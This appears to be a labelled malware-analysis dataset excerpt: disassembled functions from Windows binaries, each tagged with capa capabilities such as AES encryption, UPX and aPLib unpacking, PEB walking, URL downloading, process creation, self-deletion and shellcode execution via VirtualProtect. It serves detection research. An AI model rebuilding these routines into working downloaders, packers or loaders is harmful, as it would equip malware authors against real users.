joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100dcdc9
Capabilities:
Encrypt data using aes

Disassembly:
add esp, 3
lea esp, [esp + 1]
jmp 0x100dce02
mov edi, dword [edi*4 + reloc.KERNEL32.dll_GetModuleHandleA]
sub esp, 2
lea esp, [esp + 2]
lea esp, [esp + 0x18]
jmp 0x100dcdec

Function at 0x100dce97
Capabilities:
Encrypt data using aes

Disassembly:
bswap edi
mov edi, edx
and edx, esi
call fcn.100dce16
lea edi, reloc.KERNEL32.dll_GetModuleHandleA
mov edx, dword [edi]
pop edi
shr edi, 0x18
jmp 0x100dce6f
xor ecx, edx
mov dx, 0x3e8e
mov edi, dword [esp]
call fcn.100dce7d
arpl ax, sp
jbe 0x100dce68
loopne 0x100dce6e
lahf
sbb eax, 0xc327d48d
in al, dx
inc esi
jno fcn.100dcebb
mov edi, edx
lea edi, [edi*4]
mov ebp, 0
jmp 0x100dce37
enter 0xffffffffffffb60f, 0x3c
mov ebp, 0x100ad92c
movzx edi, byte [edi*4 + 0x100ad92c]
xor ecx, edi
and edx, ebp
jmp 0x100dce45
lea esp, [esp + 4]
and edi, 0xff000000
xor ecx, edi
jmp 0x100dce2c

Function at 0x102b6dc5
Capabilities:
Access peb ldr_data
Packed with generic packer
Parse pe header

Disassembly:
movzx ebx, word [eax + 0x3c]
jmp 0x102b6e62
call 0x102add19
jmp 0x102b6e80
pop word [esp]
mov byte [esp], dl
push word [esp]
jmp 0x102b6db9
pushal
pushfd
mov dword [esp + 0x48], esi
call 0x102b6dc5
fisub dword [esi - 0x71]
add al, 0x24
lea esp, [esp + 2]
mov dword [esp + 0x44], edi
jmp 0x102b6e15
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
jmp 0x102b6e3a
lea esp, [esp + 0x44]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x102b6dfb
push eax
jmp 0x102add14
mov eax, dword [eax + 8]
jmp 0x102b6e24
add ebx, eax
cmp word [ebx], 0x4550
je 0x102aaf60
jne 0x102b6f47
in eax, dx
insd dword es:[edi], dx
std
test byte [edi - 0x4f], dh
cld
iretd
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x102adcb7
jne 0x102b6f47
inc edx
invalid
sub eax, 0x10000
jmp 0x102b6e84

Function at 0x34c3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.034c378f
jae 0x34c370e
xor ecx, ecx
call fcn.034c378f
jae 0x34c373d
xor eax, eax
call fcn.034c378f
jae 0x34c374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.034c378f
adc al, al
jae 0x34c372f
jne 0x34c3779
stosb byte es:[edi], al
jmp 0x34c3711
call fcn.034c379b
sub ecx, ebx
jne 0x34c3756
call fcn.034c3799
jmp 0x34c3775
lodsb al, byte [esi]
shr eax, 1
je 0x34c3783
adc ecx, ecx
jmp 0x34c3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.034c3799
cmp eax, 0x7d00
jae 0x34c3772
cmp ah, 5
jae 0x34c3773
cmp eax, 0x7f
ja 0x34c3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x34c3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4c1280
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7f000]
push edi
or ebp, 0xffffffff
jmp 0x4c12a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c12a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c1298
mov eax, 1
add ebx, ebx
jne 0x4c12bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c12cc
jne 0x4c12eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c12eb
dec eax
add ebx, ebx
jne 0x4c12d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c12b0
add ebx, ebx
jne 0x4c12e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c133d
xor ecx, ecx
sub eax, 3
jb 0x4c1303
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c1372
sar eax, 1
mov ebp, eax
jmp 0x4c130e
add ebx, ebx
jne 0x4c130e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c12dc
inc ecx
add ebx, ebx
jne 0x4c131c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c12dc
add ebx, ebx
jne 0x4c1329
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c131e
jne 0x4c133a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c131e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c135c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c134e
jmp 0x4c129e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c135c
add edi, ecx
jmp 0x4c129e
pop esi
mov edi, esi
mov ecx, 0x3493
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c137a
cmp byte [edi], 0x4c
jne 0x4c137a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c137f
lea edi, [esi + 0xbd000]
mov eax, dword [edi]
or eax, eax
je 0x4c13f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc5594]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc56e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c13ac
mov ecx, edi
jns 0x4c13db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc56ec]
or eax, eax
je 0x4c13f1
mov dword [ebx], eax
add ebx, 4
jmp 0x4c13c9
call dword [esi + 0xc56fc]
mov ebp, dword [esi + 0xc56f0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c142b
sub esp, 0xffffff80
jmp 0x417770
Function at 0x48ef88
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
push ebx
xor ecx, ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404cd8
mov eax, dword [ebp - 8]
call fcn.00404cd8
xor eax, eax
push ebp
push 0x48f0ca
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x110]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.00404aa0
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x10]
call fcn.00408c40
lea eax, [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404af0
mov edx, eax
mov ecx, 1
mov eax, dword [ebp - 0x10]
call fcn.00404d48
mov eax, dword [ebp - 0x118]
mov edx, 0x48f0e0
call fcn.00404c34
je 0x48f042
lea eax, [ebp - 0x10]
mov edx, 0x48f0e0
call fcn.00404af8
push dword [ebp - 0x10]
push 0x48f0ec
mov eax, 0x186a1
call fcn.004030f8
lea edx, [ebp - 0x11c]
call fcn.00408e5c
push dword [ebp - 0x11c]
push 0x48f0f8
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.00404bb0
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0048f394
test al, al
je 0x48f095
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.0048f62c
mov ebx, eax
jmp 0x48f097
xor ebx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0040924c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f0d1
lea eax, [ebp - 0x11c]
mov edx, 3
call fcn.0040485c
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.0040485c
ret
Function at 0x48f100
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
push ebx
xor ecx, ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404cd8
mov eax, dword [ebp - 8]
call fcn.00404cd8
xor eax, eax
push ebp
push 0x48f242
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x110]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.00404aa0
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x10]
call fcn.00408c40
lea eax, [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404af0
mov edx, eax
mov ecx, 1
mov eax, dword [ebp - 0x10]
call fcn.00404d48
mov eax, dword [ebp - 0x118]
mov edx, 0x48f258
call fcn.00404c34
je 0x48f1ba
lea eax, [ebp - 0x10]
mov edx, 0x48f258
call fcn.00404af8
push dword [ebp - 0x10]
push 0x48f264
mov eax, 0x186a1
call fcn.004030f8
lea edx, [ebp - 0x11c]
call fcn.00408e5c
push dword [ebp - 0x11c]
push 0x48f270
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.00404bb0
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0048f778
test al, al
je 0x48f20d
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.0048f934
mov ebx, eax
jmp 0x48f20f
xor ebx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0040924c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f249
lea eax, [ebp - 0x11c]
mov edx, 3
call fcn.0040485c
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.0040485c
ret

Function at 0x48f330
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], 0xffffffff
mov edx, 0x40
call fcn.00408fac
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x48f384
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x48f36e
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetFileSize_1
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f38b
mov eax, dword [ebp - 8]
call fcn.004090c4
ret
Function at 0x48fc70
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor eax, eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x48fda8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x108]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.00404aa0
mov eax, dword [ebp - 0x10c]
lea edx, [ebp - 4]
call fcn.00408c40
lea eax, [ebp - 0x110]
push eax
mov eax, dword [ebp - 4]
call fcn.00404af0
mov edx, eax
mov ecx, 1
mov eax, dword [ebp - 4]
call fcn.00404d48
mov eax, dword [ebp - 0x110]
mov edx, 0x48fdc0
call fcn.00404c34
je 0x48fd1a
lea eax, [ebp - 4]
mov edx, 0x48fdc0
call fcn.00404af8
push dword [ebp - 4]
push 0x48fdcc
mov eax, 0x186a1
call fcn.004030f8
lea edx, [ebp - 0x114]
call fcn.00408e5c
push dword [ebp - 0x114]
push 0x48fdd8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404bb0
lea edx, [ebp - 0x118]
mov eax, 0x48fde8
call fcn.0040942c
mov eax, dword [ebp - 0x118]
mov edx, dword [ebp - 8]
call fcn.0048ef88
mov ebx, eax
mov eax, dword [ebp - 8]
call fcn.00404ce8
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48fdaf
lea eax, [ebp - 0x118]
mov edx, 4
call fcn.0040485c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040485c
ret

Function at 0x490d10
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404cd8
mov eax, dword [ebp - 8]
call fcn.00404cd8
xor eax, eax
push ebp
push 0x490d8a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x495a6c]
mov eax, dword [eax]
test eax, eax
je 0x490d49
sub eax, 0xfffffff8
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00404ce8
push eax
mov eax, dword [ebp - 4]
call fcn.00404ce8
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x490d6d
mov bl, 1
jmp 0x490d6f
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x490d91
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040485c
ret
Function at 0x492ae8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc9c
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404cd8
xor eax, eax
push ebp
push 0x492bd2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20d]
mov edx, dword [ebp - 4]
call fcn.00409590
lea edx, [ebp - 8]
xor eax, eax
call fcn.00402964
lea eax, [ebp - 0x30d]
mov edx, dword [ebp - 8]
call fcn.00409590
lea eax, [ebp - 0x354]
xor ecx, ecx
mov edx, 0x44
call fcn.004030d8
mov dword [ebp - 0x354], 0x44
mov dword [ebp - 0x328], 1
mov word [ebp - 0x324], bx
lea eax, [ebp - 0x364]
push eax
lea eax, [ebp - 0x354]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
lea eax, [ebp - 0x20d]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x492b96
or ebx, 0xffffffff
jmp 0x492bb7
push 0xffffffffffffffff
mov eax, dword [ebp - 0x364]
push eax
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x364]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov ebx, dword [ebp - 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492bd9
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040485c
ret
Function at 0x492c6c
Capabilities:
Create process on windows
Create process suspended
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x6b
push 0
push 0
dec ecx
jne 0x492c74
xor eax, eax
push ebp
push 0x492f45
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x324]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x328]
lea edx, [ebp - 0x324]
mov ecx, pe_nt_image_headers32
call fcn.00404aa0
mov edx, dword [ebp - 0x328]
lea eax, [ebp - 4]
mov ecx, 0x492f58
call fcn.00404b3c
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00402ea8
lea eax, [ebp - 0x1d0]
call fcn.00402c44
call fcn.00402934
mov edx, 0x492f70
lea eax, [ebp - 0x1d0]
call fcn.00404ed8
call fcn.00403514
call fcn.00402934
push 0x492f80
lea edx, [ebp - 0x334]
xor eax, eax
call fcn.00402b28
mov eax, dword [ebp - 0x334]
lea edx, [ebp - 0x330]
call fcn.00492be0
push dword [ebp - 0x330]
push 0x492f90
lea eax, [ebp - 0x32c]
mov edx, 3
call fcn.00404bb0
mov edx, dword [ebp - 0x32c]
lea eax, [ebp - 0x1d0]
call fcn.00404ed8
call fcn.00403514
call fcn.00402934
push 0x492f9c
lea edx, [ebp - 0x340]
xor eax, eax
call fcn.00402b28
mov eax, dword [ebp - 0x340]
lea edx, [ebp - 0x33c]
call fcn.00492be0
push dword [ebp - 0x33c]
push 0x492f90
push 0x492fb0
lea eax, [ebp - 0x338]
mov edx, 4
call fcn.00404bb0
mov edx, dword [ebp - 0x338]
lea eax, [ebp - 0x1d0]
call fcn.00404ed8
call fcn.00403514
call fcn.00402934
push 0x492fc4
lea edx, [ebp - 0x350]
xor eax, eax
call fcn.00402b28
mov eax, dword [ebp - 0x350]
lea edx, [ebp - 0x34c]
call fcn.004093ac
mov eax, dword [ebp - 0x34c]
lea edx, [ebp - 0x348]
call fcn.00492be0
push dword [ebp - 0x348]
push 0x492fdc
lea edx, [ebp - 0x358]
mov eax, dword [0x495cf8]
mov eax, dword [eax]
call fcn.0045e98c
mov eax, dword [ebp - 0x358]
lea edx, [ebp - 0x354]
call fcn.00492be0
push dword [ebp - 0x354]
push 0x492f90
lea eax, [ebp - 0x344]
mov edx, 5
call fcn.00404bb0
mov edx, dword [ebp - 0x344]
lea eax, [ebp - 0x1d0]
call fcn.00404ed8
call fcn.00403514
call fcn.00402934
mov edx, 0x492fe8
lea eax, [ebp - 0x1d0]
call fcn.00404ed8
call fcn.00403514
call fcn.00402934
mov edx, 0x492ff8
lea eax, [ebp - 0x1d0]
call fcn.00404ed8
call fcn.00403514
call fcn.00402934
mov edx, 0x493004
lea eax, [ebp - 0x1d0]
call fcn.00404ed8
call fcn.00403514
call fcn.00402934
lea eax, [ebp - 0x1d0]
call fcn.00402f70
call fcn.00402934
lea eax, [ebp - 0x224]
xor ecx, ecx
mov edx, 0x44
call fcn.004030d8
mov dword [ebp - 0x1f8], 1
mov word [ebp - 0x1f4], 0
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404ce8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x492f13
mov eax, dword [ebp - 0x1dc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x1e0]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x495cf8]
mov eax, dword [eax]
call fcn.0045e4a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492f4c
lea eax, [ebp - 0x358]
mov edx, 0xd
call fcn.0040485c
lea eax, [ebp - 4]
call fcn.00404838
ret
Function at 0x10003070
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002749a
mov eax, dword fs:[0]
push eax
sub esp, 0xe0
mov eax, dword [0x10034008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0xec], esi
mov dword [ebp - 0xe8], esi
mov dword [ebp - 0xe4], 0
push 0x1002e0b0
mov dword [ebp - 4], 1
jmp 0x10003592
lea esp, [esp + 4]
jmp loc.1005bb8b

Function at 0x10010d30
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10034008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
sub eax, 0
je 0x10010d69
sub eax, 1
jne 0x10010dae
push eax
push eax
push ecx
push 0x10010cf0
push eax
push eax
call fcn.1001a593
add esp, 0x18
mov dword [0x10059d90], eax
jmp 0x10010dae
cmp dword [0x10059dac], 0
je 0x10010d90
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0x10059bd4
call fcn.10012690
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0x10059bd8
call fcn.10012690
mov eax, dword [0x10059d90]
test eax, eax
je 0x10010dae
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [0x10059d90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10012989
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10010f30
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10034008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor edx, edx
push edi
mov edi, dword [ebp + 8]
lea eax, [esi + 0x16]
nop dword [eax]
movzx ecx, byte [eax - 2]
lea eax, [eax + 4]
mov byte [ebp + edx - 0xc], cl
movzx ecx, byte [eax - 5]
mov byte [ebp + edx - 0xb], cl
movzx ecx, byte [eax - 4]
mov byte [ebp + edx - 0xa], cl
movzx ecx, byte [eax - 3]
mov byte [ebp + edx - 9], cl
add edx, 4
cmp edx, 8
jb 0x10010f50
mov edx, dword [esi + 0x14]
lea ebx, [esi + 0x5c]
shr edx, 3
mov ecx, 0x78
and edx, 0x3f
mov eax, 0x38
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
mov ecx, esi
push eax
push ebx
call fcn.10010e40
push 8
lea eax, [ebp - 0xc]
mov ecx, esi
push eax
call fcn.10010e40
lea ecx, [edi + 2]
mov edi, 4
lea edx, [esi + 6]
nop dword [eax]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov byte [ecx - 2], al
lea ecx, [ecx + 4]
movzx eax, byte [edx - 5]
mov byte [ecx - 5], al
movzx eax, byte [edx - 4]
mov byte [ecx - 4], al
movzx eax, byte [edx - 3]
mov byte [ecx - 3], al
sub edi, 1
jne 0x10010fc0
push 0x9c
push edi
push esi
call fcn.10013f70
mov ecx, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 4], 0x67452301
xor ecx, ebp
mov dword [esi + 8], 0xefcdab89
mov dword [esi + 0xc], 0x98badcfe
pop edi
mov dword [esi + 0x10], 0x10325476
pop esi
mov byte [ebx], pe_nt_image_headers32
pop ebx
call fcn.10012989
mov esp, ebp
pop ebp
ret 4
Function at 0x10011af0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0xf
mov dword [ebp - 4], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor esi, esi
cmp dword [0x10059dc8], esi
jbe 0x10011b46
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10059de8]
push dword [eax + esi*4]
call ebx
mov eax, dword [0x10059de8]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [0x10059dc8]
jb 0x10011b24
pop ebx
push dword [0x10059de8]
call fcn.1001a624
add esp, 4
mov dword [0x10059de8], 0
mov dword [0x10059dc8], 0
push dword [ebp - 4]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012690
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10034008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
push 0x70
mov dword [ebp - 0x10], ebx
call fcn.1001a63f
mov esi, eax
add esp, 4
test esi, esi
jne 0x100126cb
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012989
mov esp, ebp
pop ebp
ret
cmp dword [0x10059dc4], edi
jne 0x100126e8
push 0x10059dd0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x10059dc4], 1
push 0x10059dd0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebx]
mov edx, dword [eax]
mov dword [esi], edx
mov ecx, dword [0x10059dbc]
test ecx, ecx
je 0x10012715
lea eax, [ecx + 0x2c]
cmp eax, edx
je 0x1001282a
mov ecx, dword [ecx + 0x70]
test ecx, ecx
jne 0x10012703
mov dword [esi + 0xc], edi
lea edx, [ebp - 8]
mov dword [ebp - 0xc], edi
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], edi
call fcn.10011b80
test eax, eax
je 0x10012803
push dword [ebp - 8]
mov ecx, esi
call fcn.10011c50
mov eax, dword [esi + 0xc]
add esp, 4
test eax, eax
je 0x100127f3
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 0x40
mov dword [ebp - 8], edi
push dword [eax + 4]
push dword [eax]
call ebx
test eax, eax
je 0x100127f3
mov eax, dword [esi + 0xc]
xor ecx, ecx
mov edx, dword [eax]
cmp dword [eax + 4], ecx
jbe 0x10012785
mov al, byte [eax + ecx + 0x4c]
mov byte [ecx + edx], al
inc ecx
mov eax, dword [esi + 0xc]
cmp ecx, dword [eax + 4]
jb 0x10012773
mov edx, dword [eax]
push dword [eax + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [esi + 0xc]
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 8]
push dword [eax + 4]
push dword [eax]
call ebx
mov ecx, dword [ebp - 0x10]
mov edi, 1
mov eax, dword [esi + 0xc]
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [ecx], eax
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + 0x6c]
test edx, edx
je 0x100127c8
mov eax, dword [ecx + 0x70]
mov dword [edx + 0x70], eax
mov edx, dword [ecx + 0x70]
test edx, edx
je 0x100127d5
mov eax, dword [ecx + 0x6c]
mov dword [edx + 0x6c], eax
cmp dword [0x10059dbc], ecx
jne 0x100127e5
mov eax, dword [ecx + 0x70]
mov dword [0x10059dbc], eax
mov dword [ecx + 0x6c], 0
mov dword [ecx + 0x70], 0
call fcn.10011af0
push dword [ebp - 0xc]
call fcn.1001a624
add esp, 4
push esi
call fcn.1001a624
add esp, 4
push 0x10059dd0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012989
mov esp, ebp
pop ebp
ret
mov dword [esi + 0xc], ecx
test ecx, ecx
je 0x10012718
mov eax, dword [ecx + 4]
mov dword [esi + 8], eax
jmp 0x10012718

Function at 0x1001e011
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001df93